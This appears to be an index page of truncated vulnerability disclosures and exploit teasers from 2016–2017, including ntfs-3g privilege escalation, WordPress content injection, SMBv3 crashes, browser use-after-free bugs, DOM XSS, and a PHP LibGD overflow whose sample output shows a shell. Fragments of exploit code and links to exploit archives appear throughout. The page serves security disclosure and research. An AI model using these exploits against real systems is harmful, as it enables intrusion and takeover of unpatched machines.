ntfs-3g (Debian 9) - Local Privilege Escalation

ntfs-3g Debian 9 - Local Privilege Escalation !/bin/bash echo "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" echo "@ CVE-2017-0359, PoC by Kristian Erik Hermansen @" echo "@ ntfs-3g local privilege escalation to root @" echo "@ Credits to Google Project Zero @" echo "@ Affects: Debian 9/8/...

Internet Bug Bounty: Incorrect GC behavior in xxlimited could lead to use-after-free

Issue submitted: http://bugs.python.org/issue29398 xxlimited module exist only in Python3.6 compiled on Linux. Starting program: /usr/bin/python3.6 xlimited.py Thread debugging using libthreaddb enabled Using host libthreaddb library "/usr/lib/libthreaddb.so.1". Program received signal SIGSEGV,...

HackerOne: Subdomain takeover at info.hacker.one

Summary: Hi team,i've been able to takeover subdomain at info.hacker.one, the CNAME entry in the subdomain is pointing to an external page service app.unbounce.com. Actual Dns Entry: F156764 Steps To Reproduce 1 I have claimed the domain and placed a page for PoC validation located under: Go to -...

WordPress Core 4.7.0/4.7.1 - Content Injection

2017 - @leonjza Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html Usage example: List available posts: $ python inject.py http://localhost:8070/ Discovering API Endpoint API liv...

Microsoft Windows SMB Tree Connect Response denial of service vulnerability

Overview Microsoft Windows contains a memory corruption bug in the handling of SMB traffic, which may allow a remote, unauthenticated attacker to cause a denial of service on a vulnerable system. Description Microsoft Windows fails to properly handle traffic from a malicious server. In particular...

Ghostscript 9.20 - 'Filename' Command Execution

Credits: John Page AKA hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/GHOSTSCRIPT-FILENAME-COMMAND-EXECUTION.txt + ISR: ApparitionSec + Vendor: =============== ghostscript.com Product: ================ Ghostscript 9.20 gs920w32.exe Windows 32...

shopify-scripts: Denial of service (segfault) due to null pointer dereference in mrb_obj_instance_eval

Introduction ============ Provided PoC segfaults at mrbobjinstanceeval due to null pointer dereference. Proof of concept ================ Attached the poc. Crash report ============ ./sandbox eval.rb ./sandbox:20: BUG Segmentation fault at 0x00000000000003 ruby 2.3.1p112 2016-04-26 x8664-linux-gn...

Microsoft Windows 10 - SMBv3 Tree Connect (PoC)

Full Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41222.zip import sys, struct, SocketServer from odict import OrderedDict from datetime import datetime from calendar import timegm class Packet: fields = OrderedDict "data", "", def initself, k...

Microsoft Windows 10 - SMBv3 Tree Connect (PoC)

Microsoft Windows 10 - SMBv3 Tree Connect PoC Full Proof of Concept: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41222.zip import sys, struct, SocketServer from odict import OrderedDict from datetime import datetime from calendar import timegm class Packet:...

Google Chrome HTMLKeygenElement::shadowSelect() Type Confusion

Google Chrome: Type confusion in HTMLKeygenElement::shadowSelect Chrome bug: https://bugs.chromium.org/p/chromium/issues/detail?id=666246 PoC: var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo";...

Apple WebKit HTMLFormElement::reset() Use-After-Free

Apple WebKit: HTMLFormElement::reset use-after free. CVE-2017-2362 PoC: ================================================================= function go output.value = "aaa"; output.appendChildinserteddiv; document.getElementById"output".addEventListener'DOMSubtreeModified', function forvar i=0; i f...

Grab: Two-factor authentication bypass on Grab Android App

Description I found the endpoint using android app https://p.grabtaxi.com/api/passenger/v2/profiles/edit which allow me to bypass 2FA sms code due to lack of rate limiting\code expiration after unsuccessful attempts. The root cause of the problem it that facts: no rate limiting+ no code expiratio...

Firefox 50.0.2 after the release reuse vulnerability analysis CVE-2016-9899-a vulnerability warning-the black bar safety net

Author: k0shl reprint please indicate the source author blog:http://whereisk0shl. top Preface Small year has passed, New Year rhythm, give you worship a early years, a Happy New Year! Haven't come across such after the release reuse vulnerability, which vulnerability causes is a very classic...

Algolia: [github.algolia.com] DOM Based XSS github-btn.html

Description === Vulnerable parameter: user Vulnerable script: https://github.algolia.com/github-btn.html Vulnerable code: js var params = function for var t, e = , o = window.location.href.slicewindow.location.href.indexOf"?" + 1.split"&", r = 0; r HTMLHTMLHTMLHTMLHTMLHTML&type=follow PoC 2 XSS f...

Ubiquiti Inc.: [nutty.ubnt.com] DOM Based XSS nuttyapp github-btn.html

Description === Vulnerable parameter: user Vulnerable script: http://nutty.ubnt.com/github-btn.html Vulnerable code: js var params = function var vars = , hash; var hashes = window.location.href.slicewindow.location.href.indexOf'?' + 1.split'&'; forvar i = 0; i HTMLHTMLHTMLHTMLHTMLHTML&type=follo...

Microsoft Remote Desktop Client For Mac 8.0.36 Remote Code Execution

Advisory ID: SGMA16-004 Title: Microsoft Remote Desktop Client for Mac Remote Code Execution Product: Microsoft Remote Desktop Client for Mac Version: 8.0.36 and probably prior Vendor: www.microsoft.com Type: Arbitrary file read/write leads to RCE Risk level: 4 / 5 Credit:...

Informatica: [marketplace.informatica.com] Search XSS

The search query parameter is put into Javascript to set the localStorage item: https://marketplace.informatica.com/search-solr.jspa?q=%foo% javascript localStorage.setItem"searchTerm", "%foo%"; Attempts to inject XSS payloads are blocked by redirection that removes special chars from the URL: ht...

PHP LibGD Heap Buffer Overflow

!/usr/bin/env python2 PoC for CVE-2016-3074 targeting Ubuntu 15.10 x86-64 with php5-gd and php5-fpm running behind nginx. ,---- | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php | this may take a while | offset 912 of 10000... | + connected to 1.2.3.4:5555 | id | uid=33www-data...

DiskBoss Enterprise - GET Buffer Overflow (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class MetasploitModule 'DiskBoss Enterprise GET Buffer Overflow', 'Description' = %q This module exploits a stack-based buffer overflow vulnerability i...

Stop User Enumeration 1.3.5-1.3.7 - Unauthenticated Reflected Cross-Site Scripting (XSS)

The Stop User Enumeration WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting XSS security vulnerability. PoC http://www.example.com/?author=1...